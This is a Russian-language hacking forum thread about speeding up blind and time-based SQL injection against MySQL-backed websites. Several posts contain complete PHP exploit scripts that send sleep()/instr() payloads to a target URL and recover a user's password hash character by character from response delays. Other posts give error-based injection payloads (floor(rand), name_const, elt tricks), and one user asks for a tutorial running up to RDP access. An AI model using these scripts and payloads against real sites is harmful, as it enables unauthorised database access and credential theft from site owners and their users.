Авторские статьи Быстрый Blind SQL Injection

Discussion in 'Статьи' started by Qwazar, 4 May 2009.

  1. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    1-2. Да, конечно для каждого сервера надо будет смотреть на время ответа.
    Спорить не стану - лучше сначала проверить на конкретном сплойте, пока что это на уровне локалхоста всё работает идеально.
    3. Хм, я думаю, что дос-эффект от sleep() много меньше, чем от benchmark().

    А какие ты проводил эксперименты? Можно поподробнее? Т.е. хеш выдёргивался неправильно, были сильные погрешности?
     
  2. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Ну если на примере sleep() + find_in_set(), то думаю ты понял как выглядит запрос. Так вот, допустим сервант отстоял энное время, НО, это время просто в очень редких случаях(фактически локалхост онли) будет совпадать с позицией искомого символа. Т.к. к времени простоя сервера в зависимости от позиции символа, ещё добавляются:
    1. Остальные sql запросы, которые были до нашего запроса или же будут после него. Что уже сбивает время.
    2. Время загрузки клиентом всей страницы сайта, что бы там нибыло. Опять же сбои во времени.
    Тут никак не подсчитать и не сделать универсальный эксплойт. Можно конечно дрочить на каждом сервере довольно долго что б потом ориентироваться по знаменателям и прочим, но это всё займет очень много времени, а есть способы гораздо быстрее, пусть и большее кол-во запросов.

    PS Идеально такой способ у меня отработал на локалхосте и одном серванте с широким каналом и незагруженной бд, куда я залил бажный скрипт для теста. В обычных же полевых условиях, всегда был фейл.
     
    6 people like this.
  3. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    На 6.0.7-alpha-log не сработало (подробно не тестил).
     
  4. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Главная заморочка тут с 1-2, т.к. в любом случае нужно замерять среднее время ответа от сервера, а оно может сильно различаться на разных запросах. По поводу п. 3 - в дос сервер от sleep не уйдёт. Реально нужно вводить коэффициенты, т.е. sleep(N)*delta, где delta - вычисляемое время зависящее от времени ответа сервера. Но в таком случае на некоторые символы (при 32 запросах на хеш) будет уходить слишком много времени. Запросов будет меньше, но время работы - существенно больше.

    З.Ы.
    Для примера можешь посмотреть вот это: http://qwazar.ru/?p=35 .
     
    #24 Qwazar, 29 Jan 2010
    Last edited: 29 Jan 2010
    2 people like this.
  5. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Шаблонный PoC-сплойт к посту #22.
    Жду предложений по улучшению и результаты тестов.
    На реальном движке не тестил, можно подогнать под любой.
    Смотреть на Pastebin
    PHP:
    <?php
    //SLEEP()+INSTR() SQL-Injection
    //Корявоватый сплойт от Root-access
    $url "http://site.ru/news.php?id=1";
    $id 0;
    function 
    testtime($url) {
        
    $time time()+microtime();
        
    file_get_contents($url);
        return 
    time()+microtime()-$time;
    }
    echo 
    "Test time: ".$testtime=testtime($url)."<br>";
    $sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
    $res "";
    for(
    $i=1;$i<33;$i++) {
        
    $time time()+microtime();
        
    file_get_contents("$url+and+sleep(instr(0x30313233343536373839616263646566,substring((select+password+from+test+limit+".$id.",1),".$i.",1)))");
        
    $res $res.$sym[round(time()+microtime()-$time-$testtime)-1];
    }
    echo 
    "Hash: ".$res;
    ?>
     
    #25 Root-access, 29 Jan 2010
    Last edited: 29 Jan 2010
    2 people like this.
  6. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Root-access, не введёшь дельту - результат будет недостоверным. Введёшь - ждать будешь долго (существенно дольше стандартного бин.поиска). В данном случае подобным PoC нельзя ограничиваться.
     
    #26 Qwazar, 29 Jan 2010
    Last edited: 29 Jan 2010
  7. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    если подобрать дельту достаточной величины, то можно будет и погрешности реальной сети рассчитать, ну или делать одинаковый запрос несколько раз и брать средневзвешенное значение.
     
    2 people like this.
  8. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Тут возникли некоторые вопросы по поводу мотивировок использования этого метода. Метод с find_in_set без sleep() неприменим в абсолютно слепых скулях, там, где нет вообще никакого вывода контента, то есть при различных id контент будет одним и тем же. А метод с benchmark() сильно грузит сервер.

    Сделал увеличение шага между позициями в дельту (в данном примере 2).
    (pastebin)
    PHP:
    <?php
    $url 
    "http://site.ru/news.php?id=1";
    $id 0;
    function 
    testtime($url) {
            
    $time time()+microtime();
            
    file_get_contents($url);
            return 
    time()+microtime()-$time;
    }
    echo 
    "Test time: ".$testtime=testtime($url)."<br>";
    $sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
    $res "";
    for(
    $i=1;$i<33;$i++) {
            
    $time time()+microtime();
            
    file_get_contents("$url+and+sleep(2*(instr(0x30313233343536373839616263646566,substring((select+password+from+test+limit+".$id.",1),".$i.",1))))");
            
    $res $res.$sym[round((time()+microtime()-$time-$testtime)/2-1)];
    }
    echo 
    "Hash: ".$res;
    ?>
    Ещё вариант с заменой учёта погрешности сложением на умножение. В такой реализации почему-то появились ошибки...
    (pastebin)
    PHP:
    <?php
    $url 
    "http://site.ru/news.php?id=1";
    $id 0;
    function 
    avrg($arr) {
         foreach (
    $arr as $val) {
              
    $sum+=$val;
         }
         return 
    $sum/count($arr);
    }
    function 
    delta($url) {
         
    $tests = array();
         for(
    $i=0;$i<1;$i++) {
              
    $time time()+microtime();
              
    file_get_contents("$url+and+sleep(1)");
              
    $tests[$i] = time()+microtime()-$time;
         }
         return 
    1/avrg($tests);
    }
    echo 
    "Test time: ".$delta=delta($url)."<br>";
    $sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
    $res "";
    for(
    $i=1;$i<33;$i++) {
         
    $time time()+microtime();
         
    file_get_contents("$url+and+sleep(instr(2*(0x30313233343536373839616263646566,substring((select+password+from+test+limit+".$id.",1),".$i.",1))))");
         
    $res $res.$sym[round($delta*(time()+microtime()-$time)/2)];
    }
    echo 
    "Hash: ".$res;
    ?>
     
    #28 Root-access, 30 Jan 2010
    Last edited: 30 Jan 2010
    1 person likes this.
  9. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    По советам сделал улучшенную версию с вычисляемой дельтой. Нужно ли ещё обтесать алгоритм?
    Pastebin
    PHP:
    <?php
    $url 
    "http://site.ru/news.php?id=1"//URL запроса до "+AND+..."
    $id 0//Номер пользователя
    $coef 2//Множитель
    $try 5//Кол-во проверочных запросов
    function avrg($arr) { 
         foreach (
    $arr as $val) { 
              
    $sum+=$val
         } 
         return 
    $sum/count($arr); 

    function 
    delta($url) { 
         
    $tests = array(); 
         for(
    $i=0;$i<=$try;$i++) { 
              
    $time time()+microtime(); 
              
    file_get_contents("$url+and+sleep(1)"); 
              
    $tests[$i] = time()+microtime()-$time
         } 
         return 
    avrg($tests); 
    }
    function 
    testtime($url) {
            
    $time time()+microtime();
            
    file_get_contents($url);
            return 
    time()+microtime()-$time;
    }
    $delta round($coef*delta($url));
    $testtime=testtime($url);
    echo 
    "<b>Blind SQL-Injection pattern PoC-exploit by Root-access</b><br>";
    echo 
    "Request type: $url+and+sleep(substring(version(),1,1))<br>";
    echo 
    "Test time: $testtime<br>";
    $sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
    $res "";
    for(
    $i=1;$i<33;$i++) {
            
    $time time()+microtime();
            
    file_get_contents("$url+and+sleep($delta*(instr(0x30313233343536373839616263646566,substring((select+password+from+test+limit+$id,1),$i,1))))");
            
    $res $res.$sym[round((time()+microtime()-$time-$testtime)/$delta-1)];
    }
    echo 
    "Hash: ".$res;
    ?>
     
    #29 Root-access, 30 Jan 2010
    Last edited: 2 Feb 2010
    1 person likes this.
  10. l1ght

    l1ght Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    191
    Likes Received:
    678
    Reputations:
    333
    не актуальный ресерч по методу 12 ошибок.
    т.к. кол-во приведеных ошибок крайне мало, возникла идея "динамического" использования рантайм ошибок mysql, которые могут содержать информацию от клиента, для примера я взял error column 'xxx' cannot be null forum.antichat.ru/showpost.php?p=1716996&postcount=18
    если использовать not null колонки в конкатенации с необходимым диапазоном символов, можно составить универсальный (но длинный'() запрос на основе 1 ошибки
    вот конкретная реализация для всех символов из диапазона [0..9],[A..Z],[a..z]
    Column 'user-0x72' cannot be null, 0x72 = r (root)
    т.е. в зависимости от результата подзапроса возвращается n-ая ошибка содержащая n-ый символ, -47 - ascii(0)-1 (подгонка под функцию elt)
    итого: 1 запрос к бд и огромные лог файлы на сервере => помидорами не закидывать :)
     
    10 people like this.
  11. YuNi|[c

    YuNi|[c Elder - Старейшина

    Joined:
    17 Sep 2006
    Messages:
    293
    Likes Received:
    33
    Reputations:
    18
    Уважаемые профи, спс за ваши усилия в развитии новых методов. Вот все прекрасно обьяснили, но как то никто не прояснил про load_file через floor rand и name_const

    Сегодня было дело прочест файли при условии floor и тока v1d0qz посоветовал как делать load_file(огромный респект ему).
    Если вам не составит труда напишите одну норм статью или тутор чтоб охватило всё что касается эксплуатации через Floor & Name_const
    и чтоб прояснили можно ли делать into outfile и другие способы. Я еще нигде не видел подобных статей который начали с 0 до открытия скажем рдп.
    Имеется ввиду тока эти два метода вывода через ошибок.

    Если не хотите чтоб эти методы опубликовалис на всем инете на разных языках и разработчики придумали новые методи защиты(хз может уже придумали) то просто сделайте по одному примеру с каждого запроса маленким обьяснением тут.

    PS. это будет хорошым ответом на многие вопросы в разделе Ваши вопросы по уязвимостьям так как много там вопросов про те методы. Спс думаю не нарушил правило ;)
     
  12. BlackFan

    BlackFan Member

    Joined:
    3 Jan 2009
    Messages:
    47
    Likes Received:
    40
    Reputations:
    32
    Малюсенькое дополнение по error based инъекциям на основе rand.

    Вместо floor(rand(0)*2) можно использовать rand(0)|0, rand(0)&1 или rand(0)^0. (& в get запросах отправлять как %26).

    На случай, если каждый символ на счету, а запросы при такой инъекции не маленькие )
     
    #32 BlackFan, 13 Jun 2010
    Last edited: 14 Jun 2010
    3 people like this.
  13. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Blind SQL + Benchmark (2 запроса на символ)

    Допустим у нас есть слепая скуля (но такая, что хоть какой-то вывод возможен), на что можем влиять:

    страничка:
    1) страница приходит в обычном состоянии (false)
    2) страница приходит изменённой (true)
    ответ от сервера:
    1) пришёл сразу (false)
    2) пришёл с задержкой (true)

    Таким образом, влияя на эти 2 параметра, можно задать 4 состояния

    Делаем вот что:
    1) Берём алфавит (допустим 0123456789abcdef), и делим его на 4 группы (0123),(4567),(89ab),(cdef).
    2) Составляем табличку истинности:

    №|A|B
    _|_|_
    1|0|0
    2|0|1
    3|1|0
    4|1|1

    где:
    № - номер группы к которой принадлежит данный символ,
    A - изменить ответ или нет
    B - включать бенчмарк или нет

    3) Вычисляем при помощи find_in_set номер группы к которой принадлежит данный символ, кодируем его согласно таблице выше
    4) на клиенте получаем группу символов, в качестве алфавита уже берём только её и идём на шаг 1.

    Т.е. для хеша md5 на каждый символ потребуется 2 запроса. (По теории вероятности бенчмарк сработает лишь на половине из них, т.е. в принципе работать должно быстро)

    Практическая часть и реализация тут: https://rdot.org/forum/showthread.php?t=245&page=2#post1938
     
    2 people like this.